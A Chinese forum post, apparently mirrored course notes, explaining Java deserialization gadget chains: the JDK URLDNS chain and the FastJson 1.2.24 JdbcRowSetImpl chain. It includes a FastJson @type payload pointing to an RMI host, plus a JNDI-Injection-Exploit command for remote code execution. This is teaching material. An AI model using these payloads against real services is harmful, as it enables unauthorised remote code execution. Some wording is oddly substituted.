Web开辟-JavaEE应用&原生和FastJson反序列化&URLDNS链&JDBC链&Gadget手搓

[复制链接]
发表于 前天 17:46 | 显示全部楼层 |阅读模式
知识点:
1、安全开辟-JavaEE-原生序列化-URLDNS链分析
2、安全开辟-JavaEE-FastJson-JdbcRowSetImpl链分析
  1. 利用链也叫"gadget chains",我们通常称为gadget:
  2. 1、共同条件:实现Serializable或者Externalizable接口,最好是jdk自带或者JAVA常用组件里有
  3. 2、入口类source:(重写readObject 调用常见函数 参数类型宽泛 最好jdk自带)
  4. 3、调用链gadget chain:相同方法名、相同类型
  5. 4、执行类sink:RCE SSRF 写文件等等
复制代码


一、演示案例-WEB开辟-JavaEE-原生反序列化&URLDNS链(JDK自带链)

利用链跟踪

  1. java.util.HashMap实现了Serializable接口满足条件后,通过HashMap里面的hash到key.hashCode(),key的转变URL类,再到hashCode为-1触发URLStreamHandler.hashCode
  2. HashMap->readObject
  3. HashMap->putVal(put)        
  4. HashMap->hash
  5. key.hashCode->
  6. URL.hashCode->              
  7. handler.hashCode->
  8. URLStreamHandler.getHostAddress
复制代码













写利用链

参考:https://mp.weixin.qq.com/s/R3c5538ZML2yCF9pYUky6g
  1. 搞清楚入口类,需要修改的值,需要传递的值,
  2. 创建一个HashMap泛型,(后续操作URL类即int类型值)
  3. 在创建一个url连接,(将要请求的地址写入对应代码的U)
  4. 用put方法把url数据存放到里面,触发putVal(hash(key)
  5. 其中hash里面会调用key.hashCode()
  6. 最终触发点是key,所以我们就需要给key的类型设置成URL类,
  7. 通过逻辑让hashCode的值为-1后调用handler.hashCode即URLStreamHandler.hashCode,最终调用里面的getHostAddress实现
复制代码





二、演示案例-WEB开辟-JavaEE-FastJson反序列化&JDBC链(JDK自带链)


参考:https://mp.weixin.qq.com/s/t8sjv0Zg8_KMjuW4t-bE-w
FastJson是啊里巴巴的的开源库,用于对JSON格式的数据举行分析和打包。其实简朴的来说就是处置惩罚json格式的数据的。比方将json转换成一个类。或者是将一个类转换成一段json数据。Fastjson 是一个 Java 库,提供了Java 对象与 JSON 相互转换。
  1. <dependency>
  2.     <groupId>com.alibaba</groupId>
  3.     <artifactId>fastjson</artifactId>
  4.     <version>1.2.24</version>
  5. </dependency>
复制代码



1、序列化方法

  1. JSON.toJSONString(),对象转换为JSON字符串;
  2. JSON.toJSONBytes(),对象转换为byte数组;
复制代码
2、反序列化方法

  1. JSON.parseObject(),返回JsonObject;
  2. JSON.parse(),返回Object;
  3. JSON.parseArray(), 返回JSONArray;
  4. 将JSON对象转换为java对象:JSON.toJavaObject();
  5. 将JSON对象写入write流:JSON.writeJSONString();
复制代码
3、常用

  1. JSON.toJSONString(),JSON.parse(),JSON.parseObject()
复制代码


4、引出安全-序列化固定类后,反序列化不指定类后


parse方法在调用时会调用set方法


parseObject在调用时会调用set和get方法


5、引出安全-序列化固定类后,反序列化指定类后

parseObject在调用时会调用set方法


6、安全利用链

  1. JDK自带链-JdbcRowSetImpl:
  2. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
  3. String payload = "{" +
  4.                 ""@type":"com.sun.rowset.JdbcRowSetImpl"," +
  5.                 ""dataSourceName":"rmi://xx.xx.xx.xx/xxxx", " +
  6.                 ""autoCommit":true" +
  7.                 "}";
  8. JSON.parse(payload);
  9. 反序列化对象:com.sun.rowset.JdbcRowSetImpl
  10. 改动的成员变量:dataSourceName autoCommit
  11. setdataSourceName->getdataSourceName
  12. setautoCommit->connect->DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
  13. RMI注入:触发RCE
  14. DataSource var2 = (DataSource)var1.lookup("rmi://192.168.1.2:1099/jvelrl");
复制代码






天生RMI恶意调用类:
  1. java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"
复制代码




免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
继续阅读请点击广告

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
回复

使用道具 举报

×
登录参与点评抽奖,加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表